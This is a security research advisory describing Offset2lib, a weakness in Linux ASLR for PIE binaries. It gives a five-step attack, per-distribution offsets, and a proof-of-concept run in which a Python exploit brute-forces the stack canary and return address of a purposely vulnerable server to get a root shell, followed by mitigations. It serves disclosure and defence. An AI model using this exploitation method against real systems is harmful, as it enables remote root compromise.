A small security research group with solid background.     We do research to solve real problems with real solutions.
Hector Ismael


Offset2lib: bypassing full ASLR on 64bit Linux

Published: November 20th, 2014 at DeepSeC in Vienna (https://deepsec.net)


Address-Space Layout Randomization (ASLR) is a technique used to thwart attacks which relies on knowing the location of the target code or data. The effectiveness of ASLR hinges on the entirety of the address space layout remaining unknown to the attacker. Only executables compiled as Position Independent Executable (PIE) can obtain the maximum protection from the ASLR technique since all the sections are loaded at random locations.

Offset2lib is a security weakness on the implementation of the ASLR in GNU/Linux when the executable is PIE compiled.

A PoC attack is described to illustrate how the weakness can be exploited. The attack bypasses the three most widely adopted and effective protection techniques: No-eXecutable bit (NX), address space layout randomization (ASLR) and stack smashing protector (SSP). The exploit obtaines a remote shell in less than one second.

ASLR weakness

It is specific to GNU/Linux and does not affect Windows or Mac OS. It is not a programming error on the code that implements the ASLR, but a weakness on the design. Fortunately, it can be easily fixed on 64 bit systems.

The problem appears when an application is PIE compiled. The executable image is handled as if it were a shared library, that is, it is loaded at a random location in memory. The GNU/Linux algorithm for loading ASLR objects works as follows:

  1. The first shared object is loaded at a random position (the application).
  2. The next shared objects are loaded one after the other.

Memory map of PIE compiled apps.
Therefore, a memory leak of an address belonging to the application is enough to de-randomise the memory map of the application. Note that it is not necessary to have a leak of a GOT address (after is has been properly initialised) but just the program counter of the process.

The offset2lib value it is a constant value which may be slightly different on each system, depending on the library version and the order how the libraries have been loaded.

Offset2lib attack

The goal of the attack is to obtain an address which belongs to the application code. The following attack exploits a standard stack buffer overflow to obtain the saved-IP address (of the app. code) stored in the stack.

We have structured the attack in 5 steps. Our attack starts by doing an off-line analysis of the target application and its execution environment. The unknown information (hidden by the ASLR) is obtained via brute force, thanks to the forking server architecture of the target. Once we have the full address of the application, the base address of the application is calculated. The last step is to have the memory map of all the libraries, which depends on the GNU/Linux distribution of the target. With the obtained information it is easy to arm a ROP program to get a remote shell. The complete on-line attack may take no more than one second.

The steps to build the attack are:

  1. Extract static information
  2. Bruteforce a part of saved-IP
  3. Calculate the base application address
  4. Calculate the offset2lib constants
  5. Obtain mmapped areas

Step Description Result
1a Set the highest 24 bits. These bytes are known off-line.

1b Set the 12 lower bits. Due to page alignment.

2 The remaining 28 random bits of the saved-IP are obtained by using the byte-for-byte attack against the saved-IP. Note that only three and a half bytes need to be bruteforced.

3 Using the saved-IP calculated in the previous step we can obtain the executable base address as follow:

App_base = (savedIP & 0xFFF)-(CALLER_PAGE_OFFSET << 12)


4 Calculate the offset2lib for the target libraries. These values are different depending on the system, but quite similar among them. A fast way to obtain these offset2lib values are by executing the application (on local) and print the offsets. The offset2lib does not depends on the application itself. We have calculated the offset2lib for some Linux distributions.
DistributionLibc ver.Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000

5 The base address of any library can be calculated by just subtracting the offset2lib. For example to obtain the libc base address we simply do:

Libc_base = App_base - offset2lib


The attack presented here is only a demonstrative example of how to exploit the ASLR offset2lib weakness. We believe that the way to take of advantage of this weakness is only limited by attackers creativity.

Proof of Concept

This is a working example to show how to exploit the offset2lib weakness. You need:
  1. Small program to obtain the offset2lib value for the libc: get_offset2lib.tgz
  2. The vulnerable server: vuln-server-64bit.tgz
  3. The python script to make the attack: exploit-offset2lib-ubuntu-14.04.1-LTS.py
Launching the vulnerable server:
$ tar xvf vuln-server-64bit.tgz
$ make
rm -f server_64_PIE_SSP 
gcc server_64_PIE_SSP.c -o server_64_PIE_SSP -m64 -Wall -fPIE -pie -fstack-protector-all
$ sudo /etc/init.d/apport stop  # avoid creating cores on crashes (speed-up)
$ sudo ./server_64_PIE_SSP 
Starting server on port [9999]
Obtaining the offets2lib value of the target system (on another console):
$ tar xvf get_offset2lib.tgz
$ make -f Makefile.offset2lib
$ ./get_offset2lib

   Authors: Hector Marco-Gisbert <hmarco@hmarco.org>
            Ismael Ripoll Ripoll <iripoll@upv.es>

   Comment: Script to obtain the offset2lib value of this machine.

   Attack: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

Offset2lib (libc): 0x5f0000
Configure the exploit:
$ sed -i 's/\(OFFSET_TO_LIBC\).*=.*/\1=0x5f0000/'  \
$ objdump -d server_64_PIE_SSP| grep -A1 vulnerable_function\>$ 
   1149:	e8 82 fc ff ff       	callq  dd0 <vulnerable_function>
   114e:	48 8d 45 c0          	lea    -0x40(%rbp),%rax
$ sed -i 's/\(PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL\).*=.*/\1=0x1/' \
$ sed -i 's/\(OFFSET_SAVED_RIP\).*=.*/\1=0x14e/' \
Launching the exploit:
$ chmod a+x exploit-offset2lib-ubuntu-14.04.1-LTS.py 
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py 
exploit-server_64_PIE.py -s <server> -p <port>
$ ./exploit-offset2lib-ubuntu-14.04.1-LTS.py -s localhost -p 9999

[+] Exploit ASLR 64 bit systems 
[+] Trying to find out the canary offset 
   [+] Offset is 56 bytes
[+] Brute forcing stack canary 
   [+] SSP value is 0x60e0792a523eb900
[+] Brute forcing RBP 
   [+] EBP value is 0x00007fff0e79d160
[+] Brute forcing Saved RIP 
   [+] RIP value is 0x00007f44a19b114e
[+] Text Base at 0x00007f44a19b0000
[+] Libc Base at 0x00007f44a13c0000
[+] Getting shell ...
root@test:/home/test # id
uid=0(root) gid=0(root) groups=0(root)
root@test:/home/test #

5 Recommendations

There are several solutions and workarounds to this weakness.

5.1 Prevent the weakness with PaX patch

Among many other security improvements, the PaX (from GRSecurity) patch places the executable at random positions with respect to the other shared objects. PaX defines four zones:

  • delta_exec: code, data, bss.
  • brk: heap.
  • delta_mmap: libraries, mapped files, thread stack, shared memory, ...
  • delta_stack: user stack.
Pax solution also increases the number of entropy of each zone, even it is able to randomise non-PIE applications. As far as we know it is the most advanced ASLR implementation. Unfortunately, some people think that it is a too complex patch with, may be, too many features (some advanced features may break backward compatibility on some applications).

5.2 Fixing Offset2lib weakness

In order to remove the offset2lib weakness, the executable shall be located at a different zone than libraries. We have created a small patch for the current Linux kernel (3.18-rc7) which implements four different zones, so that the executable is not in the same zone than libraries.

More information about this solution at: Fixing Offset2lib weakness

5.3 Prevent the exploitation with RenewSSP

To successfully bypass the ASLR by exploiting the stack buffer overflow presented in the PoC, the attacker needs to bypass first the stack smashing protector (SSP). If the SSP protection can not be bypassed, then the PoC would fail.

A new technique, called renewSSP can be used to prevent brute force attacks against the SSP. This technique is a variant of the classic SSP where the value of the secret canary is renewed dynamically at key places in the program. This way, the secret is refreshed more often. The SSP value can be renewed per-process preventing the ``byte-for-byte'' attack. The technique is not intrusive, and can be applied by just pre-loading a shared library. The overhead is almost negligible.

A demonstrative video which shows how the attack can be prevented using the RenewSSP can be seen at http://www.renewssp.com.

Acknowledgements: Packet Storm Security [More info]
  Contact us Home